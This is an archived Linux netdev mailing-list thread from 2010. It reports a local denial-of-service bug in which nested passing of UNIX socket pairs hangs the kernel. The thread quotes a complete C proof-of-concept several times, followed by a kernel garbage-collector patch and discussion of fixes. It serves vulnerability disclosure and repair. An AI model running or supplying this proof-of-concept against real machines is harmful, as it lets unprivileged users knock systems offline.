diff mbox

Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(

Message ID 1290666501.2798.84.camel@edumazet-laptop
State Not Applicable, archived
Delegated to: David Miller
Headers show

Commit Message

Eric Dumazet Nov. 25, 2010, 6:28 a.m. UTC
Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
> #include <sys/socket.h>
> #include <sys/un.h>
> 
> static int send_fd (int unix_fd, int fd)
> {
>   struct msghdr msgh;
>   struct cmsghdr *cmsg;
>   char buf[CMSG_SPACE (sizeof (fd))];
> 
>   memset (&msgh, 0, sizeof (msgh));
>   memset (buf, 0, sizeof (buf));
> 
>   msgh.msg_control = buf;
>   msgh.msg_controllen = sizeof (buf);
> 
>   cmsg = CMSG_FIRSTHDR (&msgh);
>   cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
>   cmsg->cmsg_level = SOL_SOCKET;
>   cmsg->cmsg_type = SCM_RIGHTS;
> 
>   msgh.msg_controllen = cmsg->cmsg_len;
> 
>   memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
>   return sendmsg (unix_fd, &msgh, 0);
> }
> 
> 
> int main ()
> {
>   int fd[2], ff[2];
>   int target;
> 
>   if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
>     return 1;
> 
>   for (;;)
>   {
>     if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
>         return 2;
>     send_fd (ff[0], fd[0]);
>     send_fd (ff[0], fd[1]);
>     close (fd[1]);
>     close (fd[0]);
>     fd[0] = ff[0];
>     fd[1] = ff[1];
>   }
> } 


Since you obviously read recent mails on this subject yesterday, why
dont you Cc netdev ?

There is a very easy way to protect against this actually.

A patch was posted yesterday, and need some adjustements.




--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Comments

Коренберг Марк Nov. 25, 2010, 6:52 a.m. UTC | #1
Well, It seems, that patch likely will fix 100% CPU usage.

But what about eating all available descriptors in kernel ? vulnerability ?


2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
>> #include <sys/socket.h>
>> #include <sys/un.h>
>>
>> static int send_fd (int unix_fd, int fd)
>> {
>>   struct msghdr msgh;
>>   struct cmsghdr *cmsg;
>>   char buf[CMSG_SPACE (sizeof (fd))];
>>
>>   memset (&msgh, 0, sizeof (msgh));
>>   memset (buf, 0, sizeof (buf));
>>
>>   msgh.msg_control = buf;
>>   msgh.msg_controllen = sizeof (buf);
>>
>>   cmsg = CMSG_FIRSTHDR (&msgh);
>>   cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
>>   cmsg->cmsg_level = SOL_SOCKET;
>>   cmsg->cmsg_type = SCM_RIGHTS;
>>
>>   msgh.msg_controllen = cmsg->cmsg_len;
>>
>>   memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
>>   return sendmsg (unix_fd, &msgh, 0);
>> }
>>
>>
>> int main ()
>> {
>>   int fd[2], ff[2];
>>   int target;
>>
>>   if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
>>     return 1;
>>
>>   for (;;)
>>   {
>>     if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
>>         return 2;
>>     send_fd (ff[0], fd[0]);
>>     send_fd (ff[0], fd[1]);
>>     close (fd[1]);
>>     close (fd[0]);
>>     fd[0] = ff[0];
>>     fd[1] = ff[1];
>>   }
>> }
>
>
> Since you obviously read recent mails on this subject yesterday, why
> dont you Cc netdev ?
>
> There is a very easy way to protect against this actually.
>
> A patch was posted yesterday, and need some adjustements.
>
>
> diff --git a/net/unix/garbage.c b/net/unix/garbage.c
> index c8df6fd..40df93d 100644
> --- a/net/unix/garbage.c
> +++ b/net/unix/garbage.c
> @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
>  }
>
>  static bool gc_in_progress = false;
> +#define UNIX_INFLIGHT_TRIGGER_GC 2000
>
>  void wait_for_unix_gc(void)
>  {
> +       /*
> +        * If number of inflight sockets is insane,
> +        * force a garbage collect right now.
> +        */
> +       if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
> +               unix_gc();
>        wait_event(unix_gc_wait, gc_in_progress == false);
>  }
>
>
>
>
Eric Dumazet Nov. 25, 2010, 7:14 a.m. UTC | #2
Le jeudi 25 novembre 2010 à 07:28 +0100, Eric Dumazet a écrit :

> 
> Since you obviously read recent mails on this subject yesterday, why
> dont you Cc netdev ?
> 
> There is a very easy way to protect against this actually.
> 
> A patch was posted yesterday, and need some adjustements.
> 
> 
> diff --git a/net/unix/garbage.c b/net/unix/garbage.c
> index c8df6fd..40df93d 100644
> --- a/net/unix/garbage.c
> +++ b/net/unix/garbage.c
> @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
>  }
>  
>  static bool gc_in_progress = false;
> +#define UNIX_INFLIGHT_TRIGGER_GC 2000
>  
>  void wait_for_unix_gc(void)
>  {
> +	/*
> +	 * If number of inflight sockets is insane,
> +	 * force a garbage collect right now.
> +	 */
> +	if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
> +		unix_gc();
>  	wait_event(unix_gc_wait, gc_in_progress == false);
>  }
>  
> 

Hmm... it seems its another problem, chains are very long so we hit a
NMI watchdog.

I guess we should limit to a very small number, like 64, or rewrite the
garbage collector to a better algo.



--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Коренберг Марк Nov. 25, 2010, 7:52 a.m. UTC | #3
---------- Forwarded message ----------
From: Марк Коренберг <socketpair@gmail.com>
Date: 2010/11/25
Subject: Re: Simple kernel attack using socketpair. easy, 100%
reproductiblle, works under guest. no way to protect :(
To: Eric Dumazet <eric.dumazet@gmail.com>


2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
>> Well, It seems, that patch likely will fix 100% CPU usage.
>>
>> But what about eating all available descriptors in kernel ? vulnerability ?
>>
>
> It doesnt fix cpu usage actually, your program eats 100% of one cpu,
> like the following one :
>
> for (;;) ;
>
> If you want not eat 100% cpu, I suggest you add some blocking calls,
> like usleep(10000)
>
> for (;;) usleep(10000);
>
> Patch only makes sure kernel wont eat too much memory to store inflight
> unix sockets.

I have attached source which proove, that loop not inside this
program, but inside kernel.

--
Segmentation fault
Коренберг Марк Nov. 25, 2010, 8:05 a.m. UTC | #4
2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 12:35 +0500, Марк Коренберг a écrit :
>> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
>> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
>> >> Well, It seems, that patch likely will fix 100% CPU usage.
>> >>
>> >> But what about eating all available descriptors in kernel ? vulnerability ?
>> >>
>> >
>> > It doesnt fix cpu usage actually, your program eats 100% of one cpu,
>> > like the following one :
>> >
>> > for (;;) ;
>>
>> No. You don't understand. I can't kill -KILL such program. CPU usage
>> will be 100%. program hang in kernel, process is not in
>> Uninterruptible sleep (in Running state). So I think some kernel loop
>> like for(;;); exists. maybe looped recursion or so on.
>>
>
> I understand very well, thanks.
>
> There is no recursion (stack usage) in kernel, this is why CPU eats so
> much cycles to handle your workload.
>
> kill ... is not interrupting this loop in kernel, only when current
> system call is finished.
>
> We'll have to add limits to forbid malicious programs to use too much
> cpu in kernel.

new ulimit constant ?
how to detect, that user is malicious ?
I think, it will be nice to count "reursion level" of file descriptors
instances.
recursion level increases if fd is put inside unix socket.
If recursion level is bigger than some border (10 for example), do not
to allow to put such file descriptor into unixsocket.
I understand .. this is heavy.

Fortunatelly I have idea :) :
Do not allow to pass unix socket A into unixsocket B if A contains
file descriptors. I think it would not break current applications.
This will fix problem which illustrate my example.
But, malicious user can insert descriptors into A _AFTER_ passing A
into B, by using another A instance called C. Kernel should not allow
do that -- if kernel see, that unix socket A=C already inside some
other unix socket, it should return error.
Eric Dumazet Nov. 25, 2010, 8:16 a.m. UTC | #5
Le jeudi 25 novembre 2010 à 12:52 +0500, Марк Коренберг a écrit :
> ---------- Forwarded message ----------
> From: Марк Коренберг <socketpair@gmail.com>
> Date: 2010/11/25
> Subject: Re: Simple kernel attack using socketpair. easy, 100%
> reproductiblle, works under guest. no way to protect :(
> To: Eric Dumazet <eric.dumazet@gmail.com>
> 
> 
> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
> >> Well, It seems, that patch likely will fix 100% CPU usage.
> >>
> >> But what about eating all available descriptors in kernel ? vulnerability ?
> >>
> >
> > It doesnt fix cpu usage actually, your program eats 100% of one cpu,
> > like the following one :
> >
> > for (;;) ;
> >
> > If you want not eat 100% cpu, I suggest you add some blocking calls,
> > like usleep(10000)
> >
> > for (;;) usleep(10000);
> >
> > Patch only makes sure kernel wont eat too much memory to store inflight
> > unix sockets.
> 
> I have attached source which proove, that loop not inside this
> program, but inside kernel.
> 
> --

Better send a fix, now that thousand of people know how to kill a linux
machine.

Congrats.



--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Коренберг Марк Nov. 25, 2010, 8:35 a.m. UTC | #6
quick and dirty fix will be not to allow to pass unix socket inside
unix socket. I think it would not break much applications.

2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
> Le jeudi 25 novembre 2010 à 12:52 +0500, Марк Коренберг a écrit :
>> ---------- Forwarded message ----------
>> From: Марк Коренберг <socketpair@gmail.com>
>> Date: 2010/11/25
>> Subject: Re: Simple kernel attack using socketpair. easy, 100%
>> reproductiblle, works under guest. no way to protect :(
>> To: Eric Dumazet <eric.dumazet@gmail.com>
>>
>>
>> 2010/11/25 Eric Dumazet <eric.dumazet@gmail.com>:
>> > Le jeudi 25 novembre 2010 à 11:52 +0500, Марк Коренберг a écrit :
>> >> Well, It seems, that patch likely will fix 100% CPU usage.
>> >>
>> >> But what about eating all available descriptors in kernel ? vulnerability ?
>> >>
>> >
>> > It doesnt fix cpu usage actually, your program eats 100% of one cpu,
>> > like the following one :
>> >
>> > for (;;) ;
>> >
>> > If you want not eat 100% cpu, I suggest you add some blocking calls,
>> > like usleep(10000)
>> >
>> > for (;;) usleep(10000);
>> >
>> > Patch only makes sure kernel wont eat too much memory to store inflight
>> > unix sockets.
>>
>> I have attached source which proove, that loop not inside this
>> program, but inside kernel.
>>
>> --
>
> Better send a fix, now that thousand of people know how to kill a linux
> machine.
>
> Congrats.
>
>
>
>
diff mbox

Patch

diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index c8df6fd..40df93d 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -259,9 +259,16 @@  static void inc_inflight_move_tail(struct unix_sock *u)
 }
 
 static bool gc_in_progress = false;
+#define UNIX_INFLIGHT_TRIGGER_GC 2000
 
 void wait_for_unix_gc(void)
 {
+	/*
+	 * If number of inflight sockets is insane,
+	 * force a garbage collect right now.
+	 */
+	if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
+		unix_gc();
 	wait_event(unix_gc_wait, gc_in_progress == false);
 }